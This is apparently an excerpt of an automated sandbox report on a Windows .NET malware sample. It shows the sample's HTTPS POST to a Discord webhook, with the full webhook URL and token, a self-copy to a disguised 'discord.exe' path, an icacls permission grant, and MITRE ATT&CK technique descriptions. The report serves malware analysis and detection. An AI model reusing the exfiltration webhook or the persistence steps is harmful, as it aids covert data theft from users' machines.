SameSite=None Server: cloudflare

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49701	162.159.138.232	443	C:\Users\user\Desktop\S3zoj9Uts0.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-03 19:40:24 UTC	3	OUT	POST /api/webhooks/1061591881189961839/KwqGODsud5jnEMwoLx_f6PdyZpFgjhKU-fUjwmwXiSSOBri5CuGLlgGvA4a7d18uh4zS HTTP/1.1 Content-Type: application/json Host: canary.discord.com Content-Length: 62 Expect: 100-continue Connection: Keep-Alive
2023-02-03 19:40:24 UTC	3	IN	HTTP/1.1 100 Continue
2023-02-03 19:40:24 UTC	3	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 43 6f 6e 6e 65 63 74 65 64 20 46 6f 72 6d 20 41 75 74 6f 53 74 61 72 74 3a 20 20 43 6f 6d 70 75 74 65 72 2d 4e 61 6d 65 3a 36 34 32 32 39 34 22 7d Data Ascii: {"content": "Connected Form AutoStart: Computer-Name:642294"}
2023-02-03 19:40:24 UTC	3	IN	HTTP/1.1 204 No Content Date: Fri, 03 Feb 2023 19:40:24 GMT Content-Type: text/html; charset=utf-8 Connection: close CF-Ray: 793da35d4d509a0f-FRA Set-Cookie: __dcfduid=9a74e0d2a3fa11eda2a39a82994a9fb2; Expires=Wed, 02-Feb-2028 19:40:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Via: 1.1 google CF-Cache-Status: DYNAMIC Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 X-Content-Type-Options: nosniff x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1675453226 x-ratelimit-reset-after: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ph%2BH5%2FTUGV8l83nNN95lxHSmsNgxHB4wMWpl4Jqlawl2TuslNv2uNqh2Ob6%2Ff%2FTQXxGidWtp5PYLuWxOZ5T1B33hy6f%2BTBakYMctGNTGNzqk4MAqBnb93YIi%2Byj1VxguYa3SQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=9a74e0d2a3fa11eda2a39a82994a9fb2b0830d21790567472468f571b6559ef9e036ba8b03d6effc2f0ed9c8c2b7a9fa; Expires=Wed, 02-Feb-2028 19:40:24 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Set-Cookie: __cfruid=a8d51763e2015e0ebd1626c686683ce76f32e37c-1675453224; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare

Target ID:	0
Start time:	20:39:57
Start date:	03/02/2023
Path:	C:\Users\user\Desktop\S3zoj9Uts0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\S3zoj9Uts0.exe
Imagebase:	0x1d0000
File size:	30720 bytes
MD5 hash:	94CCB92B775297F357670ABD1E6F754B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	20:40:00
Start date:	03/02/2023
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"
Imagebase:	0x8c0000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Java
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	20:40:02
Start date:	03/02/2023
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Imagebase:	0xb70000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	20:40:02
Start date:	03/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	20:40:11
Start date:	03/02/2023
Path:	C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe"
Imagebase:	0x130000
File size:	30720 bytes
MD5 hash:	94CCB92B775297F357670ABD1E6F754B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	5
Start time:	20:40:16
Start date:	03/02/2023
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"
Imagebase:	0x8c0000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	20:40:21
Start date:	03/02/2023
Path:	C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe"
Imagebase:	0xae0000
File size:	30720 bytes
MD5 hash:	94CCB92B775297F357670ABD1E6F754B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	7
Start time:	20:40:22
Start date:	03/02/2023
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"
Imagebase:	0x8c0000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	163
Total number of Limit Nodes:	8

Executed Functions

Function 0230A248 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6a1d607b2baae444feb4997b858748b1c19ef7f73ce157481c8e051aed38f0f9
Instruction ID: cad3cdcbda094f3e0bfdb8377240241212f7ff9b7542476f4e722ac999229db2
Opcode Fuzzy Hash: 6a1d607b2baae444feb4997b858748b1c19ef7f73ce157481c8e051aed38f0f9
Instruction Fuzzy Hash: 54713470A00B058FD724DF2AD09079ABBF5BF88314F108A2EE54AD7B90D775E9458FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0230588C Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02305949

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 41885803129c9b7bf2f63cba993bca15ed6af5aad7fdacf627541da542b9fd85
Instruction ID: 59018e743cc5b78c81a400bed5cf125867ff8687102ac0bc9781a91ff9afa973
Opcode Fuzzy Hash: 41885803129c9b7bf2f63cba993bca15ed6af5aad7fdacf627541da542b9fd85
Instruction Fuzzy Hash: 5441D2B1C00719CFDB24CFA9C894BCEBBB2BF49314F64806AD409AB251DB755946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02303A0C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02305949

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: bd72d701d3f9b34003933f1ee5c33c3d138c47cc6f07a3eef47727af78387c8b
Instruction ID: 3f92c1503ba6057d740bae00fe8d41ded0431c72dfafe58ebc790fe78e612ed8
Opcode Fuzzy Hash: bd72d701d3f9b34003933f1ee5c33c3d138c47cc6f07a3eef47727af78387c8b
Instruction Fuzzy Hash: FB41F271C00719CBDB24CFA9C894BCEBBB5BF48314F64806AD409BB251DBB46945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0230AF6C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0230C6FE,?,?,?,?,?), ref: 0230C7BF

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 22f75b27465b9bb504417d97b199973d15ba0fac893653cf62ed9b8f581329f2
Instruction ID: 0e3cb0a6e7c124acdea8af652f82c65da09696745f8a89d22e2732070506711e
Opcode Fuzzy Hash: 22f75b27465b9bb504417d97b199973d15ba0fac893653cf62ed9b8f581329f2
Instruction Fuzzy Hash: 1C2103B59002089FDB10CF9AD584ADEBFF8EB48324F14851AE914B3350D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0230C732 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0230C6FE,?,?,?,?,?), ref: 0230C7BF

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: aaf9330c5cfd102f590a7bccae4d1396b82c7afe778b08eae7922ae1e31648b6
Instruction ID: f41c3753ced27ec95b7824df49a6899aadd5ae818dee1d53eccc06828be0a31a
Opcode Fuzzy Hash: aaf9330c5cfd102f590a7bccae4d1396b82c7afe778b08eae7922ae1e31648b6
Instruction Fuzzy Hash: 7D21F2B59002099FDB10CFAAD584ADEBFF4FB48324F14845AE958A3610D378A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02309580 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0230A509,00000800,00000000,00000000), ref: 0230A6FA

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4349b1628cd766df19b39877d19668c8386b2d642ac6cdc22f1bf82b4d87bfb2
Instruction ID: 1701ee3c6c6ea752cbf76a7eb1c8c478411b38a9f16152d474f6858a3586ce2e
Opcode Fuzzy Hash: 4349b1628cd766df19b39877d19668c8386b2d642ac6cdc22f1bf82b4d87bfb2
Instruction Fuzzy Hash: 4111F2B69003098FDB10CF9AD484ADEBBF8AB58324F14842AE559B7640C374A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0230A68C Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0230A509,00000800,00000000,00000000), ref: 0230A6FA

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 89f78ffd2dc027242eb93e988ed47342c465e99b9135124b8175bf4a13a0e413
Instruction ID: db9fc1cfaaf28e1994d2906a7ffb3d3e7bc3c60e00f39b198218449c9e76cbaf
Opcode Fuzzy Hash: 89f78ffd2dc027242eb93e988ed47342c465e99b9135124b8175bf4a13a0e413
Instruction Fuzzy Hash: 821112B6D003099FDB20CF9AD484ADEFBF8AB58324F14842AE559B7700C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0230951C Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,0230A25B), ref: 0230A48E

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ef64a93083813ecb58b53b3f85cd19b45dfe43de92c366d9830b3c4605170545
Instruction ID: 048b28eaa9a3ff644da727d5de4477eb39e873477ad691463b34d98b0ad5f640
Opcode Fuzzy Hash: ef64a93083813ecb58b53b3f85cd19b45dfe43de92c366d9830b3c4605170545
Instruction Fuzzy Hash: 911126B5D003498FDB20CF9AD484ADEFBF4EB48224F10841AD919B7700D374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 009CD006 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47237eb55bfb6ad3d726c0ef58252aac7ecf73a229de0e42a0164cd37a4e3f5a
Instruction ID: 482a207b334bbd5ab42e84a0bc21dbefed51db3ad2d4b76634a72931635d7b98
Opcode Fuzzy Hash: 47237eb55bfb6ad3d726c0ef58252aac7ecf73a229de0e42a0164cd37a4e3f5a
Instruction Fuzzy Hash: 04315C7550E3C49FD713CB24D990B11BF75AB46214F2985EBD8848B6A3C33A981ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 009BD414 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577320853.00000000009BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cbe8ceb5220f3fd6f4c42f7e84d10320d2c1f43f1160d27a03e5be649da62ca
Instruction ID: e7a25c1efa9a2d67b926087db2ca74d40267cd42c95d879d92a13dc487a9dedf
Opcode Fuzzy Hash: 0cbe8ceb5220f3fd6f4c42f7e84d10320d2c1f43f1160d27a03e5be649da62ca
Instruction Fuzzy Hash: F6214571500240EFDB01CF14CAC0F66BF66FB84334F24C569E8090B2A6D33AE846DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009CD1E8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f909910e517f66dd648e749f26202a44d2c540790bb11eb708e78c8e79a18582
Instruction ID: ea668aab932c9a49bf6e18208c66c2009b29ecbe4f68ff9f54e7c7e7f881eb8a
Opcode Fuzzy Hash: f909910e517f66dd648e749f26202a44d2c540790bb11eb708e78c8e79a18582
Instruction Fuzzy Hash: A421F575904240EFDB01CF54D5C4F26FBA9FB94314F24C97DE8094B246C37AD846CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 009CD2E8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17fe13a88522882ab0630ac9c4d8f4d288e30326605472378f235ed79dc85dc6
Instruction ID: 255ef51b610064405e3124c03c43eb75c7af0195fdf9c538cafff606eda2fb78
Opcode Fuzzy Hash: 17fe13a88522882ab0630ac9c4d8f4d288e30326605472378f235ed79dc85dc6
Instruction Fuzzy Hash: F5212975905284DFDB01DF14D9C0F2ABB69FB84328F24C97EE8490B246C33AD806C6A3

Uniqueness

Uniqueness Score: -1.00%

Function 009CD3C8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09101a69148a53b87f37d608c9804b1bc3cf1756f5e7649f042002612711d2a0
Instruction ID: 5c0a8ab542b5909c5cbfe088481d82aa54ae72716cc441fc1e2df7ce3699e800
Opcode Fuzzy Hash: 09101a69148a53b87f37d608c9804b1bc3cf1756f5e7649f042002612711d2a0
Instruction Fuzzy Hash: 582126B5904244DFDB05CF14D8C0F26BB69FB84324F24C97DE9490B692C33AE846CAA3

Uniqueness

Uniqueness Score: -1.00%

Function 009CD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124a839663298035c04c055de7635b6ed13b591bfc040b5902567d5f03235c14
Instruction ID: 5ffc005545028dd2ea70d63f402ffb2294fe26f33bbe3d7660129ca53855747d
Opcode Fuzzy Hash: 124a839663298035c04c055de7635b6ed13b591bfc040b5902567d5f03235c14
Instruction Fuzzy Hash: 9021F275904244EFDB15DF18D9C0F26BBA5FB84314F24CA7EE8494B246C33AD846CA62

Uniqueness

Uniqueness Score: -1.00%

Function 009BD40F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577320853.00000000009BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 592ece47119f67d140ea7e82aae040392f4fe946fa5bf8865279594dce73126f
Instruction ID: 4a129c0c6ca2c262d5192c1a32ef74eb8b76e9f80d44823ff481b475df31cc9b
Opcode Fuzzy Hash: 592ece47119f67d140ea7e82aae040392f4fe946fa5bf8865279594dce73126f
Instruction Fuzzy Hash: 66112976504280DFCB12CF00D6C0B56BF72FB84324F24C2A9D8480B666C33AE856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 009CD1E3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9987972c5ad5a0bbdfc3a90a2c4a8b6c80251489d692dd004c95719536adb841
Instruction ID: 801a0baa17871fa0ae47d757fdbf480bb924d5016fe3a21fd08fc19d40234be4
Opcode Fuzzy Hash: 9987972c5ad5a0bbdfc3a90a2c4a8b6c80251489d692dd004c95719536adb841
Instruction Fuzzy Hash: A3119075904280DFDB12CF14D5C4B15BFB1FB84314F28C6AED8494B656C33AD84ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 009CD2E3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cd92d4669eb3f0ae16ff5fe36c088554c4477bda88b587c2e791696761bb80
Instruction ID: 8f73d7997655bef85ad5365d59dc690b6c13244d6d008a0bc4314ac76ab55100
Opcode Fuzzy Hash: a0cd92d4669eb3f0ae16ff5fe36c088554c4477bda88b587c2e791696761bb80
Instruction Fuzzy Hash: 98119076905284DFDB12CF14D5C4B19BB71FB84324F24C6AED8484B646C33AD846CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 009CD3C3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577368075.00000000009CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 009CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9cd000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cd92d4669eb3f0ae16ff5fe36c088554c4477bda88b587c2e791696761bb80
Instruction ID: 31262c5adda1d8389c048abfaf17cbeeac2bd3417bbfc315305c9fc0a6bf2c4e
Opcode Fuzzy Hash: a0cd92d4669eb3f0ae16ff5fe36c088554c4477bda88b587c2e791696761bb80
Instruction Fuzzy Hash: 4311E276904280CFCB16CF10D5C0B15FB71FB84324F24C6AED9494B656C33AE80ACB92

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0230F3D0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62581c2570b4269eb1b4a4b3f2a6893269695dc5e07024e3b5c94182b36a00a2
Instruction ID: 4c8fcee26f0b9405610c0fc44c30957bf63097fca180c09a0565e6f6719a2315
Opcode Fuzzy Hash: 62581c2570b4269eb1b4a4b3f2a6893269695dc5e07024e3b5c94182b36a00a2
Instruction Fuzzy Hash: C712B4F1B1A746AAD710CF65E4881893FA1FF41338F924228D2615EAD1D7BC196ACFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0230CDD4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec60c6a7367e6b9a1ea70d2a078fdb74806e75630c0d80062007e52c3a931db
Instruction ID: e9fbdb4f68d64d5f0b96a0cd377dcaa07ca276e8368393e0d05cd08c763b22b6
Opcode Fuzzy Hash: cec60c6a7367e6b9a1ea70d2a078fdb74806e75630c0d80062007e52c3a931db
Instruction Fuzzy Hash: 5AA19D32E0021ACFCF15DFB4C89459EBBB2FF84700B15856AE805BB2A1DB35A955CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0230F3C0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.577667065.0000000002300000.00000040.00000800.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_S3zoj9Uts0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24d3aa2111a7dd01cba43b59f114120c74d65e0aac82258724b4183bfe83848
Instruction ID: 7213bed3ce4e60d2fcc95c140472897645664ad6e0c82f807134c062232ccf9e
Opcode Fuzzy Hash: b24d3aa2111a7dd01cba43b59f114120c74d65e0aac82258724b4183bfe83848
Instruction Fuzzy Hash: 25C106B1F1A746AAD710CF64E8881893FA1FF85338F524228D1616F6D1D7B8186ACFC4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
